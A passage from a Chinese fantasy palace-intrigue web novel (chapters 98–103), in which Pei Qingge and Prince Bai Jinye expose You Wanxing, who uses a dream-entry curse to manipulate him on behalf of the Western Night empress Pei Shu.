“好在投宿的客人里有几个镖局的刚押完镖回来,武艺还不错,算是制止了,这会把人绑着关在仓库里。” “那姑娘说跟这两个侍卫不熟,他们是肃亲王府的人,只是奉命送她去幽州,于是我们就往肃亲王府递了信。” “这……”他说着四下看了圈,把声音压得更低,“听说肃亲王他母妃家一家都有这毛病,这不会是什么传染病吧?现在侍卫也都跟着发疯咬人?” “瞎说什么?”左辞拧了下眉头,“你们家才全家都有这毛病,是舌头不想要了还是脑袋不想要了?” “呵呵呵。”官差干笑几声,轻轻地拍打了自己的嘴,“我这嘴就是管不住,瞎说瞎说。” 左辞转头看向裴清歌,见裴清歌对他使了个眼色,便开口道,“带我们去仓库看看那两个侍卫。” “好。”官差赶紧在前面带路。 三个人一起到了仓库外面,仓库门口守着几个官差,里面还时不时地传来挣扎和低吼。 官差打开了仓库门,却没有往里面走,把手里的油灯往左辞的面前递了递,“大人,您自己进去看看?” 左辞瞪着他,还没等说话,就见裴清歌接过了油灯,率先往里面走。 官差这才松了口气,要是左辞继续瞪下去,他也就只能硬着头皮进去了,还好,这王府果然有猛人。 裴清歌进了门,便见到那两个侍卫背对背绑在一根柱子上,张着嘴,不断地有涎水从嘴角流出来,两个人的眼睛上都像是蒙了一层白色半透明的蜡皮,脸上还蹭着不少干涸了的血迹。 他俩不知道是看到了人进来,还是闻到了活人的气息,一下子又激动的挣扎起来,努力地想要挣脱绳索往裴清歌这边冲过来。 裴清歌轻笑一声,站在原地没有动。 左辞觉得,只要跟在裴清歌身后,他就什么都不怕,于是也进了门,站在她身后,低声问,“王妃,你看出来这是怎么回事了?” 裴清歌没回答,只是说,“如果我不来,你打算怎么办?” “这还能怎么办?人都这样了,也没办法去幽州了,肯定得想办法先弄回京城再说。”左辞开口道,“但是这俩人现在这样,怎么弄回去也是个麻烦事。” “那游晚星呢?”裴清歌又问。 左辞这下有点语塞,“没人送她,也只能先带回去,然后再安排了。”说完他又赶紧补充,“不过王妃你放心,属下肯定不会送她去王府的,让她住客栈或者找个别院给她住。或者……就让她等在这,等几天,再安排两个侍卫,到这接上她,继续去幽州。” “去不了幽州了。”裴清歌转过身看着左辞,“游晚星这么想进王府,你给她安排客栈也好,别院也好,都住不消停。就算再安排人送她去幽州,也还是如此。” 左辞眨了眨眼,也明白过来了,“你说这些……是游晚星搞的?” 裴清歌没说话,游晚星是中秋的时候被塞到白锦夜身边的,算起来,那会鬼卿也到了西夜国。 不管两件事有没有关系,都太过巧合了。 裴姝只说自己安排了和月如、和月薇两个女儿,但宫里的妃子行动毕竟多少受限,很多事也没那么容易做。 东凉国的情况如何不清楚,但在天风国,就算和月如迷惑了白砺寒,那么仍有些威信在的太后也不会允许白砺寒乱来,再说,兵权又在白锦夜的手上,所以在这些重要的人身边,她肯定都要插人的。 游晚星出现的时间点这么巧妙,定然是有什么目的。 正想着,就听身后的侍卫嚎叫了一声,一下子挣开绳子,朝裴清歌和左辞扑过来。 “小心,快跑!”门口的官差大喊了一声,随即自己转身就跑。 左辞虽然也下意识地后退了一步,但立刻就停了下来拔出腰间佩剑。 裴清歌连转身都没有,只是抬手随意地挥了挥,那两个侍卫就停了下来。 左辞也觉得自己有点大惊小怪了,有裴清歌在这,这种事用得着他动手么?他把剑重新插回去,“王妃,那把游晚星弄回王府也太危险了,她要是动不动就搞这一手,咱们王府还有安宁日子么?” “跟我们有什么关系?我们现在又不住在王府。”裴清歌笑着看他,“你家王爷的艳福,不得他自己处理?” 左辞干笑了两声。 “把这两个人绑起来,丢到马车上,然后带着游晚星一起回去吧。”裴清歌开口道。 “就让他们这副模样?”左辞问道。 “演戏不得演得到位点么?不然游晚星怎么会相信?”裴清歌说着顿了下,“一会我给你写张方子,被他们咬过的人,伤口需要特殊处理,不然不会愈合还会腐烂化脓。” 左辞点点头。 外面的官差跑了老远,可听着后面也没什么动静,于是又壮着胆子回来看,这才发现左辞已经重新把人绑住了。 据说当时可是费了不少力气才制住这两个人,没想到还是王府的人厉害,这么轻松就搞定了。 官差心里默默的觉得,一定是王府处理这样的人已经有经验了。 正想着,驿站外面又响起马蹄声。 左辞也往外张望了一眼,“王爷来了?” 裴清歌皱起眉头,子时马上就到了,白锦夜这时候来干什么? 第99章 你不该出现在本王的梦里 裴清歌正想着,白锦夜也带着司空等人进了院子。 官差也就引着他们到了仓库。 “左辞,你可真是好大的胆子。”白锦夜瞥了左辞一眼冷冷地道。 左辞讪讪地往后退了一步,低声解释,“王爷,属下这不是想着赶紧把人送走,别再碍着你和王妃的眼么?” 若只是游晚星,就算死在这,白锦夜都不想管,但是王府的侍卫发疯咬伤人,他就不可能袖手旁观了。 而且若是其他情况,倒也还好。 可人人都知道张家一脉的事情,现在又有王府的人出现类似的情况,他怎么能不重视? “还有什么要处理么?有什么麻烦么?”白锦夜看向裴清歌,语气也温和了不少。 裴清歌皱眉看着他,“已经准备要回去了。” 看着她皱眉,白锦夜也明白原因,于是便道,“那本王回马车上等你们。” 他吩咐司空等人帮着左辞一起处理,转身回了马车。 左辞拿了方子派人去抓药,给受伤的人发了些银两,逐一安抚。 裴清歌看着一个人上了药,检查了一下,确认没什么问题,见几个人抬着那两个侍卫往马车上走,正要过去看看,便见游晚星朝白锦夜的马车走过去。 此时过了子时,白锦夜已经是冥尸状态。 虽然身上的死气被阵法盖住,但也同样是没有活人的生气的。 游晚星既然懂这些门道,就不可能看不出来。 裴清歌微微眯了下眼,悄声跟了上去,躲在了一旁。 游晚星在马车车窗旁停了下来,“王爷,我没想到你会亲自过来,这么晚,真是劳烦王爷。我的事,给王爷添麻烦了。” 她说着停了停,没听见马车里有什么回应。 她皱起眉头,刚才她问了一个官差,那官差说白锦夜上了马车,可她感觉不到这马车里有人,难道他现在不在马车里么? 游晚星想着四周看了看,又试探地叫了一声,“王爷?” 等了片刻,还是没听见白锦夜的声音,游晚星抿了下唇,抬手准备掀开窗帘。 只是手指刚碰到帘子的一角,就被人抓住手腕,“游姑娘,你的马车在后面。”司空盯着游晚星冷声道。 游晚星赶紧把手收回来,后退了一步,“我只是想来感谢王爷,王爷不在么?” 司空没回答,只是冷冷地看着她。 游晚星咬了下唇,捏着衣角,往后面的马车走去。 司空瞥了她一眼,便站在马车边守着,没再走开了。 游晚星离开的方向背对着司空,他看不到,但是裴清歌看得清楚,她走了几步,手指就在身前捏了几个印诀,一道符咒飘进了白锦夜的马车底下。 裴清歌微微勾了勾唇,这游晚星大概是裴姝的亲传弟子了吧? 这一套手法,会的人可没几个。 她从暗影里走出来,走到马车边。 “王妃。”司空让开身,掀起了马车帘子。 裴清歌上了马车,微微感受了下,“入梦咒。”她轻笑了声。 如今已经是午夜,回京路上,按照常理,白锦夜肯定要小憩,说不定要睡上一觉。 游晚星用这入梦咒,就可以进入白锦夜的梦境,到时候便能为所欲为。 都说日有所思夜有所梦。 但反过来,做了梦以后,白天若有类似的事情发生,也会让人觉得巧合。 裴姝能成为西夜国皇后,又能顺利的安排和月如嫁到天风国、和月薇嫁去东凉国,想必这入梦咒是用得炉火纯青了。 裴清歌转头看着倒在软凳上,一动不动的白锦夜,也懒得处理这符咒,冥尸又不会做梦,以白锦夜现在的状态,游晚星想入他的梦,恐怕是有点难了。 “王爷,王妃,都处理好了。”马车外面传来左辞的声音,“咱们这就启程了。” “嗯。”裴清歌应了一声。 外面左辞轻咳了一声,“那个……王爷还有什么吩咐么?” “没有了,走吧。”裴清歌直接开口道。 “好嘞。”左辞点点头,对着司空眨了眨眼睛,心想你看现在王爷和王妃这关系,王爷马上就快要连说话的资格都没有了,多抱抱王妃大腿吧。 司空懒得理他,翻身上马。 裴清歌坐在一边,闭上眼睛小憩。 启程大概一炷香的时间,裴清歌突然睁开眼睛看向白锦夜,他虽然躺在那还是没有动,但身上隐藏的阵法却在慢慢显现。 裴清歌皱起眉头,思索了片刻,才走过去,抬手按上白锦夜的眉心,他这种状态下,竟然会做梦? 但……又好像不是在做梦。 裴清歌想继续探究,可这不像是她可以轻易地探查鬼卿的一切,她和白锦夜的思绪之间,就像是隔了一层纱。 她微微眯了眯眼,看着白锦夜的状态,若有所思。 * 游晚星入了白锦夜的梦,但和以往完全不一样,这梦里一片灰色,分不清天地,分不清方向。 她拧着眉,一时间也有点不知所措。 半响,她才看清站在不远处的白锦夜,便朝着他走过去,“王爷。” 白锦夜听到声音,也转身看向她。 游晚星走到白锦夜的身边,眼底含情,抬手轻轻地拉住他的衣角,“王爷,我不想去幽州,我想留在王府好不好?” 白锦夜看了看游晚星,目光又移开,看着周围,脸上也像是充满了疑惑。 “王爷。”游晚星又叫他,“你想听我弹琴么?我给你弹琴好不好?”她说着抬起手。 按照以往,她的手上就该出现古琴,在梦里,本就没什么逻辑可循,所想即所得。 可她手抬了半响,手上却依旧空空如也。 “本王不想听。”白锦夜从周围收回目光,往后退了一步,跟游晚星之间拉开些距离,“你也不该出现在本王的梦里。” 他这话说完,游晚星就感觉到一阵巨大的推力,等她睁开眼,已经出了白锦夜的梦。 她坐在马车里,眉心都快拧成了一个疙瘩,她以入梦咒控制白玉衡一年,白玉衡对她言听计从,从来没出过任何差错,师父也说过,没有普通人能抵挡入梦咒,白锦夜难道是个例外么? 游晚星的脸上闪过一丝凝重,怪不得师父这么重视白锦夜这边,他果然与众不同,他好像……可以控制自己的梦。 想到这,游晚星又很快释怀,脸上甚至带了几丝跃跃欲试和兴奋,如果白锦夜也像是白玉衡一样好控制,那不就没什么意思了么? 第100章 防来防去,永远都防不过来 白锦夜清晨醒来的时候,眼里微微闪过一丝迷茫。 他坐起身,见到裴清歌靠在一边睡着,犹豫了片刻,才拿起一边的披风,想要盖在她身上。 不过刚刚靠近,裴清歌就睁开了眼睛。 已经入了秋,清晨确实有些凉,裴清歌顺手接过了披风围在身上,随即抬眼饶有趣味地看着白锦夜,“你做梦了?” 白锦夜醒来的时候,确实觉得有些奇怪,但一时没反应过来,听到裴清歌这么说,他才明白过来,梦境里的事情也逐渐清晰。 看着他微愣,裴清歌继续问,“梦到什么了?” 白锦夜轻咳了一声,“没什么。” “梦到游晚星了?”裴清歌问完这句,就见到白锦夜的脸颊疑似飞起一抹红晕。 游晚星贴了入梦咒,如果白锦夜真的做梦,梦到她才正常。 白锦夜看着她,只以为是因为他当时是冥尸状态,梦里的事情都瞒不过裴清歌,微微有些窘迫,“你既然知道还问本王?” 裴清歌摇了摇头,“她贴了入梦咒,所以我知道如果你做梦了,应该会梦见她。” 白锦夜微微皱起眉头,虽然这人是白砺寒赏赐的,但终归是白玉衡找来的。 这些年白玉衡在朝中并没有官职,向来对这些也并不感兴趣,如今往他的身边插人,难道这都是表象么? 他终于开始忍不住了? “我们一起把她背后的人引出来吧。”裴清歌没再探究白锦夜到底梦到了什么,“防裴玲珑,防和月如,防陆绝,防来防去,永远都防不过来,不如直接把背后的人引出来,一劳永逸。” “你的意思……他们是一伙的么?”白锦夜开口问道。 “应该是。”裴清歌点点头,“从北冥国出来,又会术法的人,有这么一个就已经够让人头疼了,如果不是一伙儿的,多来几个,外面早就乱了。” “十五年前的‘围北之战’,也跟他们有莫大的关系,当年天风国应该也损失惨重吧?” 白锦夜微微点头,“当年极少有人生还,父皇也曾给西夜国和东凉国各去信询问过,西夜国回信是无人回去,东凉国虽然也回去了些人,但之后也陆续死亡,再加上外公这边的的事情,大家都深信当年去过的人都受了诅咒,甚至祸延家人。” “也是因为这件事,父皇觉得是自己没了解清楚状况就贸然出兵,害了这些士兵,他才一直郁结于心,英年早逝。” “所以把这个背后的人被揪出来,才能给死去的人一个交代。”裴清歌眯了眯眼。 白锦夜对此没有异议,但想起之前陆绝和裴玲珑做的事情,却有些顾虑,“那本王要如何做?假装被游晚星控制?” 裴清歌点点头。 白锦夜皱起眉头,没有说话。 “你自己考虑。”裴清歌又道,“如今皇上有多宠爱和贵妃你也看得出来,陆绝说,游晚星在衡王府已经呆了一年了,这一年游晚星大概也控制了衡王,再过几年,会发生什么事,我想也不用我多说。” 白锦夜垂眼看着自己的膝盖,上一次和月如找白砺寒哭诉,说自己轻薄于她。 自己进宫解释,可如论如何白砺寒都不相信,后来话题落在了兵权上。 他自然不可能交出虎符,最后白砺寒提到了先皇留给他的免死诏书。 先皇把兵权留给他,是明知张家的事,知他对皇位没有图谋,是为了朝堂安稳,江山安定。 但也知道难免会引起新皇的猜忌,才会给他留了一道免死诏书,将来保他一命。 那一次,最终是以他交出了免死诏书,才算了事。 那么如今来看,对虎符和免死诏书动心的,未必真的是白砺寒自己。 以及……上一次白风御为了军饷的事情进京,曾去找过白玉衡。 以他们俩的关系来说,就算白玉衡不愿意帮他说情,也不会避而不见。 兄弟几人的感情,其实在慢慢的分崩离析。 只是如今太后还在,有些事也不会闹得太难看。 可假如哪一天太后仙去呢? 又或者……等他死了,他手上的兵权到底会落在谁手上? 轻轻叹了口气,白锦夜才看向裴清歌,“本王应该怎么做?” * 到了王府门口,左辞就跟着裴清歌走了。 左辞一边走一边回头看,走出去老远,才低声问,“王妃,真的就这么让她进王府?” “不然呢?”裴清歌挑眉看他。 左辞哼哼了两声,“就算让她进王府,王妃你也得摆出王妃的架子,给她点下马威看看。” 裴清歌停住了脚步。 左辞以为自己说对了话,“是吧?王妃,现在就回去给她立立规矩。” “左辞,你身边有没有,跟我身材差不多的,你很信任的女子?”裴清歌转头看他。 “啊?”左辞想了会,“有倒是有,王妃有什么安排?” “你把她带到店铺里来,现在就去。”说完裴清歌没再理他,自己一个人朝店铺走去。 约摸一个时辰后,左辞带着一个穿着布衣、名唤琳琅的女子进了店铺。 裴清歌把她带到后院,拿了楚星玄给她留下的易容工具,帮她易容。 左辞在一边看着,挑了挑眉,“王妃,你让她假扮成你?” “是啊,不然游晚星在王府里,一直见不到我怎么行呢?”裴清歌开口道。 琳琅一听,一下子从椅子上站起来,有些慌乱地看着裴清歌,“王妃,奴婢怎么能假扮王妃?这……这是大不敬啊。” “你就假扮我几天,我给你发工钱。”裴清歌看着她安抚,“没事,你就去王府里住着,左辞你去交代下,让其他人不要去找她,不过游晚星要去,就千万不要拦着。” “别怕。”左辞拍了拍琳琅的肩膀,“王妃不会害你的。” 琳琅有些忐忑,但左辞把她拉到一边,低声说了几句话,等她回来的时候,就已经没有那么抗拒了。 裴清歌帮她易容好,又让她模仿她走路的步伐。 只教了片刻,她就已经模仿的惟妙惟肖了。 “你学的可真快。”裴清歌还以为她总要学上几天,不过想着游晚星刚到王府,应该也不会立刻去找她,所以也没着急。 琳琅笑了笑,“家父以前是戏班子的,奴婢喜欢看戏,就总是偷偷的跟着他们学他们的神态、步伐,所以模仿起来还挺快的。” “是么?”裴清歌有些诧异,“那怎么没留在戏班子?” 说到这个,琳琅的脸上闪过一抹落寞,“奴婢的家在月城,十五年前那场战事后,月城陷入混乱很多年,虽然戏班子一开始还能赚些钱,但后来也难以为继。最后戏班子解散,又有土匪山贼大劫,爹娘被杀,奴婢也被掳上山。” 她说着偷偷看了一眼站在一边的左辞,“后来……是左大人上山剿灭山贼,见奴婢可怜,就让奴婢在军营里做点事。” 裴清歌看着她脸上闪过的一抹红晕,微微勾了勾唇,俯首靠在她耳边,低声说了几句话。 第101章 戏这么多,要不要给你俩搭个台子去演戏? 左辞带着易了容的琳琅去了王府,裴清歌也没有那么放心,还是遣了荷香去跟着他们。 又交代荷香一定要躲开游晚星。 王府里飘荡的游魂也不只是荷香一个,只要她离游晚星远些,游晚星也不会太注意到她。 都安排妥当,只等着鱼儿上钩,裴清歌每天最重要的事情,就是恢复实力。 若真是引了裴姝来,她没有足够的实力,到时候也只能眼睁睁地看着裴姝再离开。 等以后再想引她上钩就难了。 只要裴姝一来,就一定要一击必中。 所以除了算卦的时间外,基本上就是和鬼卿切磋下武艺。 这中间,左辞偶尔会过来看看,每一次都少不了抱怨。 说游晚星前几日还挺安分的,但是后来就开始故意等在王爷每日的必经之路上。 倒也不算很亲密,有时向王爷打听下幽州到底是个什么样的地方,说自己想知道父兄们生活的地方是怎么样的。 有时又问问流放的人会不会被欺负被打骂。 最过分的是,她提议给王爷弹琴跳舞解解闷,王爷竟然也没有拒绝。 左辞本来是来跟裴清歌说的,但裴清歌对这些也不在意,甚至都没时间听他说,于是他就只能跟钟栖抱怨。 钟栖见他都快成了怨妇,忍不住想念自家王爷王妃。 于是就给左辞讲了讲白风御夫妇的事情,大概就是当年,岐风王王妃柳浅是白风御老师的女儿,柳浅年少时就喜欢白风御。 但白风御不喜欢她这种文文弱弱的女子,他觉得自己将来必须要娶将门虎女。 柳浅等了许多年,最终心灰意冷答应了其他的婚事。 可大婚那天,白风御不干了。 大闹喜堂又抢婚。 柳浅的婚事虽然告吹,但她也没跟白风御走。 两个人之间的关系瞬间大反转。 后来终于修成正果,婚后一直恩爱,白风御极度宠妻,连府上的丫鬟都不敢多看一眼。 柳浅虽然没事就会拿着他想娶个“将门虎女”的事揶揄他,但对于年少时的鲁莽事,大家都一笑了之。 反正两个人之间的关系现在融洽得不得了。 说着钟栖从怀里掏出几封信,“我们王妃说过段时间要来京城看看这生意,到时候你就知道,什么叫琴瑟和鸣了。” 左辞从钟栖的手上拽出一封信,仔细地看过,忍不住笑出声,“钟栖,你是不是有点傻?你看你家王妃这哪是关心生意,这分明是不放心你家王爷和我家王妃啊。” 他摇了摇头,“啧啧,这么看起来,你家王爷过得日子也没好到哪去。” “怎么是呢?我们王爷和王妃可恩爱了。”钟栖一把把信拽回来,“你这是……嫉妒我们王爷王妃感情好。” “我嫉妒?”左辞笑容更大,看热闹不嫌事大,“不如你给你家王妃写封信,言辞委婉点暧昧点,看看你家王爷的日子还好过不好过。” 钟栖哼了一声懒得搭理他。 说到这,左辞又叹了口气,“不过就是半斤八两的,你家王爷只是回过味儿了,也不知道我们家王爷什么时候能回过味儿来,希望他到时候的日子不会太惨吧。” 钟栖想了想,说,“难。” “我家王爷又不比你家王爷傻,怎么就回不过味来?”左辞不愿意了。 钟栖瞄了瞄算卦的裴清歌,低声道,“可你家王妃跟我家王妃不一样啊,我家王妃是太傅之女,自小饱读诗书,知书达理,虽然文弱,但只会讲道理不会动手,心肠也善良,人很温柔,跟下人说话,声音从来都是很低柔的……” “你什么意思?”左辞拍了下桌子,“我家王妃就不善良了?我家王妃就不知书达理了?我家王妃就不温柔了?”他挽起袖子,“你要打架是不是?” “我不是这个意思。”钟栖摊了摊手,眼睛往后院瞄了一眼,“这些天,你家王妃每日都跟鬼卿习武,功力以肉眼可见的速度突飞猛进,以前她不动手,以后她也不会动手么?” 左辞梗着脖子,半响才道,“我们王妃很讲道理的。” “是啊,看看到时候她愿不愿意跟你们王爷讲道理吧。”钟栖好整以暇地看着左辞。 裴清歌送走了一个客人,转头看着低声说话的左辞和钟栖,“你们俩没事干么?戏这么多,要不要给你俩搭个台子,让你俩去演戏?” 左辞挠了挠头,转头看着裴清歌,“我俩说这么小声你也能听见?” 裴清歌轻笑了一声,“你俩旁边可坐了不少听八卦的。” 左辞吓得当即站起身,手在身上拍打了一番,“那个,王府还有事,属下先回去了。”说完就迅速的跑了。 * 游晚星进了王府月余,就已经从下人的院子搬到了之前裴玲珑住过的玲珑阁。 玲珑阁简单的翻新过之后,新园子的名字也还没有起。但毕竟是离九思院最近的院子,所以白锦夜随口就安排了她先住在那。 甚至最近她还陪着白锦夜用了几次晚膳,白锦夜几乎每日都去听她弹琴跳舞。 午夜,裴清歌正在打坐的时候,荷香突然闯了进来,说见到游晚星深夜出了王府。 她有异动,裴清歌自然要去看看。 前些日子,她借白锦夜的手,送了游晚星一枚玉佩,玉佩里有她的法阵,阵法微弱,只是让她追踪游晚星用的。 她也让荷香观察了些日子,得知游晚星并没有发现玉佩的异常。 如此她对游晚星的实力也大概有了个预估。 游晚星离开王府也没走得太远,只是挑了一处隐蔽的地方跟白袍人见面。 她的脸上带了几丝不屑,“还以为白锦夜有什么不同,这也没多久,就上钩了。” 看着她漫不经心的模样,白袍人的语气严厉,“主子说了,这一次不容有失,万一你这里出了什么问题,主子不会放过你的。” 游晚星皱起眉,“师父的话,需要你来重复给我听?”她说着顿了下,隔了会才说,“不过……我虽然每晚都能入白锦夜的梦,但他每天晚上好像都不在王府,我在王府里感受不到他的气息,不知道他晚上去哪了。” “不在王府?”白袍人打量着她,“所以这么多天,你连白锦夜的床都没爬上去?” “你懂什么?”游晚星声音微微提高,“师父将来要回北冥国做圣女,我是她唯一的传人,我就是未来的圣女。师父早就说过,圣女都是要嫁给国君的,我怎么能失身于他人?我只要能控制他就好,又何必牺牲那么大?” 听到这里,裴清歌微微眯了眯眼,圣女要嫁给北冥国国君?她这个北冥国正牌圣女怎么不知道? 第102章 北冥国到底是个什么样的国家啊 白袍人听了游晚星的话,沉默了片刻,才说,“我会给主子传信,下面怎么做,由主子来定夺,你接下来就好好找找,他晚上去哪了。” “这有什么关系么?”游晚星带了几丝不耐烦,“反正他现在已经对我的话言听计从了,我也从来都没有失手过,你是不相信我?” “我只是不想功亏一篑,这几日你就好好查查这件事,五日后,还是这里见面。”说完白袍人就迅速的离开了。 裴清歌拧眉看着那白袍人,他这……气息,竟然是傀儡! 这和当初和月如那粗陋的御尸术比起来可高明得多了。 她目光追着那傀儡的身影,他离开的方向,竟然好像是衡王府。 裴清歌抿了抿唇,没再盯着游晚星,而是追着傀儡往衡王府的方向走去。 白袍人在衡王府就没有那么小心了,径直越过了院墙,摸到了陆绝的住处。 他问了陆绝白锦夜晚上会不会去别的地方,有没有其他的住处,得到否定回答后,也没多留,就离开了。 从衡王府出来,白袍人直奔城外,最后进了一个破庙。 只不过那破庙周围没有任何遮挡,裴清歌为防止自己被发现,也就没有再跟上去。 她慢悠悠地往店里走,想必游晚星和陆绝都还不知道,这白袍人虽然嘴上一直说“主子”,但因为他是傀儡,所以跟他们交流的,本来就是他们的“主子”。 这么看,就是裴姝无疑,这样根本无需浪费时间传信,她一直都可以第一时间掌握这边所有的情况。 但他们言语之中,却并没有提起过和月如,也就是说,他们私下里也不会互相联系,都是靠白袍人这个傀儡来回传话。 裴姝这么谨慎的话,如果游晚星不能掌握白锦夜晚上的行踪的,想必她也不会轻易现身。 走到店门口,裴清歌的脚步又停了下来。 可是…… 和月如已经拿到了“紫莲戒”,怎么好像裴姝对此完全不知情呢? 她微微眯了眯眼,又想到刚才游晚星的话,她要保留完璧之身,因为她认为自己应该是未来的圣女。 他们为裴姝办事,裴姝想必也许诺过不少好处给她们。 游晚星知道的事情,和月如不可能不知道。 傻子也能想明白,已经成了西夜国皇后的裴姝还是一门心思想当圣女,这其中的好处不言而喻。 那和月如又怎么可能甘心当一个贵妃? 所以她拿到了紫莲戒,应该并没有告诉裴姝。 她可能想要自己找出紫莲戒上的秘密,然后取而代之。 裴清歌微微勾了勾唇,这么看来,他们自己人之间也不是很信任彼此呢。 * 五日后,游晚星再次跟白袍人见了面。 这一次,她脸上的神情倨傲,对白袍人的态度也更加散漫,“已经弄清楚了,白锦夜晚上哪也没去,就在府里。” “他说因为他多年来上战场杀敌,被他斩杀的人的怨气都跟着他,后来遇到一个高人指点,在他的院子里摆了些阵法,晚上可以把他身上的生气隐藏掉,这样那些想要来报仇的冤魂,到了晚上就失去了目标。” “他也带我去看了阵法,阵法很低级,只不过之前我都没有接近他住的院子,所以也没有察觉到。” “不过这些都不重要。”游晚星说着笑了笑,“我有紫莲戒的消息了。” “紫莲戒?”听到这个,白袍人的声音也激动起来,“你见过紫莲戒了?” “还没有,是白锦夜无意间提起来的,他说之前和月如一直拜托他帮忙找那个戒指,他找到了,但是并没有给和月如,他觉得和月如那么在意,这戒指一定有什么不同之处。”游晚星说着顿了顿。 “不过我也不方便再追问这件事,他既然觉察了紫莲戒的不同,我表现得太好奇,他也会警惕。但如果师父不急的话,再给我些日子,应该也能探出来紫莲戒在哪。就看师父怎么决定了。” 白袍人低头思忖片刻,才道,“你记得,从今晚开始,你入梦只跟白锦夜说两件事,一件事就是问他紫莲戒在哪,另外一件,就向他提起十五年前的战事,暗示他张家人所受的遭遇,与北冥国有关,挑起他对北冥国的怨恨,继而劝说他对北冥国用兵。” 游晚星皱了下眉,“这是师父的要求?” “当然。”白袍人点点头。 “白锦夜对北冥国用兵,对师父有什么好处?”游晚星不解,“师父要当北冥国圣女,难道想要看到被战争摧残的北冥国?” “呵。”白袍人轻笑了一声,“北冥国根本就没有军队,一旦白锦夜用兵,势必需要圣女出面抵挡。到时候拿着紫莲戒的主子,自然而然就会成为圣女,而你再在梦里劝说白锦夜,想必撤兵也没有那么难吧?” “北冥国竟然没有军队?”游晚星诧异,“那到底是个什么样的国家啊。” “此番事成,你就可以亲自去看看了。”白袍人说完抬手拍了拍游晚星的肩膀,“到时候你就是最大的功臣,想要什么,就有什么。” 不远处的裴清歌冷笑一声,这裴姝画饼的能力真不是一般的强。 以这紫莲戒做铒,果然更能让裴姝动心。 只不过白袍人的话里,始终都没有透露过裴姝要现身的意思。 裴清歌微微眯了下眼,看样子,还得再加把火啊。 她遣了个游魂去店里,没一会鬼卿的身影就出现了。 白袍人感受到鬼卿的气息,微怔了一下,“是他?” “谁?”游晚星四下看了一圈,没见到什么人,便开口问道。 “你回去吧。”白袍人说着迅速的跟上了鬼卿。 鬼卿一路直奔王府,白袍人怕鬼卿发现,也不敢靠得太近,他眼睁睁地看着鬼卿进了王府,大概一炷香的时候,又离开了王府,这中间发生了什么,他也不知道。 裴清歌微微勾了勾唇,裴姝已经见过鬼卿了,以为鬼卿是北冥国派出来的人。 现在她刚知道紫莲戒在白锦夜手上,就见鬼卿来了王府,心里一定着急死了。 如果白锦夜把紫莲戒给了鬼卿,鬼卿带回北冥国,那她就再也不能打紫莲戒的主意了。 所以还得游晚星传个话,让裴姝知道,白锦夜现在犹豫着是把紫莲戒给鬼卿还是给和月如。 裴清歌转头看着西夜国的方向,裴姝,你可别让我等得太久啊。 第103章 有紫莲戒的人,就是圣女? 梦里,白锦夜百无聊赖地听着游晚星弹琴。 “王爷,王爷?”游晚星的琴声停了半响,也不见白锦夜有什么反应,她放下手里的琴,走到他的身边,往前凑了凑,“王爷,我的琴曲不好听么?” 白锦夜回过神来,凝眸看着游晚星,随口道,“好听。” “王爷,你不开心么?”游晚星抬眼看着他,“是不是因为张太妃?听说张太妃还有张家的人,都是在张将军带兵攻打北冥国之后受了诅咒的,北冥国的诅咒,这样厉害么?” 白锦夜看着她,没有说话。 “其实解铃换需系铃人,既然源头在北冥国,王爷就没想过到北冥国去找答案么?”游晚星又问。 “是啊,答案应该在北冥国。”白锦夜顺着她说了句。 游晚星微微勾了勾唇,“王爷,我再给你跳支舞好不好?” 说完,也不等白锦夜回答,就起身开始跳舞,跳到一半,像是被自己的裙角绊了下,游晚星一下子跌倒在白锦夜的怀里。 衣领也因此敞开,露出大片白皙的脖颈和肩头。 游晚星惊呼了一声,却并没有起身,也没有整理衣服,而是抬眼楚楚可怜地看着白锦夜,“王爷,我好像扭了脚。” 白锦夜看着她,目光落在她的肩膀上,眼前却浮现出带着红色莲花模样的肩膀。 蓦地一阵阵燥意涌上来,他终于再也忍不住,一把推开她,起身后退了几步,“游晚星,戏演够了,你到底要怎么样直说吧,本王没耐心每日听你弹这些无聊的曲子跳这难看的舞!” 游晚星摔倒在地上,瞪大眼睛诧异地看着白锦夜,“王爷,你怎么了?你前几天不还说喜欢我的琴曲么?” “是谁指使你来本王身边?嗯?”白锦夜眯眼看着她。 游晚星暗道不好,手上捏了几个印诀,想要从白锦夜的梦境离开。 白锦夜垂眸看着她的手,“想走?哪有那么容易?想来就来,想走就走,当本王是什么?” 游晚星的印诀捏完,却发现自己还是在白锦夜的梦里,周围毫无变化,她赶紧站起身,后退了一些,和白锦夜之间拉开距离,“这是怎么回事?你做了什么?”她从来没有遇到过这样的情况,也从没听师父提起过,她不禁开始害怕,“你快让我出去。” 白锦夜轻笑了一声,“让你出去?可以,只要你说出来,指使你的人是谁。” 游晚星快速想着对策,白锦夜白天是没有任何术法的,她可以确定,她只是不明白,为什么梦里的白锦夜完全不一样。 所以……她其实可以现在跟他说些什么,等明早再给白锦夜施个术法,让他忘了今晚的梦,应该也不会有什么。 她咬了咬唇,“是衡王,是衡王让我这样的做的,他……他想要你手里的兵权。” “看样子你是不想出去了。”白锦夜沉声道,“既然这样,那本王成全你。” 他的话音落下,游晚星四周的地面就升起一个牢笼,把她围在了中间。 游晚星想要破坏牢笼的栏杆,那栏杆却纹丝不动,“真的是衡王,王爷,你相信我,真的是他。” 白锦夜正要再说话,梦境却突然破碎,他睁开眼睛,才发现已经到了每日苏醒的时间。 片刻后他猛地坐起身,梦里的事他此刻记得一清二楚,不禁有些后悔自己的莽撞,游晚星的计划被识破,大概要逃了。 他赶紧叫了司空,让他把游晚星带过来。 片刻后,司空确实带着游晚星回来了,但却是两个嬷嬷把她架过来的。 “王爷,游姑娘入夜就睡了,这会怎么也叫不醒。”一个嬷嬷开口道,“什么办法都试了,就是醒不过来。 白锦夜起身走过去,探了探游晚星的鼻息,人还有气,倒是没死。 他微微拧了下眉头,看向司空,“着人看着她,一旦醒了立刻通知本王。” * 当夜,白锦夜再次入梦的时候,游晚星还在那牢笼里。 他这下也明白了,游晚星之所以醒不过来,是因为被他困在梦境里。 游晚星靠着栏杆坐在地上,她努力了很久,都没有办法离开,见到白锦夜再来,她也知道这应该是又入夜了。 如果魂魄离体时间如果太长,她就会有生命危险,于是她赶紧起了身,“王爷,王爷求你放我出去吧。” “本王说了,只要你说出背后的人,就放你出去。”白锦夜说着走到她面前停下,抬手抚了抚栏杆,“不过如果你想继续在这里呆着,本王也不为难你。” 游晚星咬了咬唇,经过这么久思索,她早就有了决定,“是裴姝。” “裴姝?是西夜国皇后?”白锦夜眯了眯眼。 “是的,是她。”游晚星点点头,“她是北冥国人,她想要紫莲戒,紫莲戒是北冥国圣女的信物,她要做北冥国的圣女。” 白锦夜看着她,“继续说。” 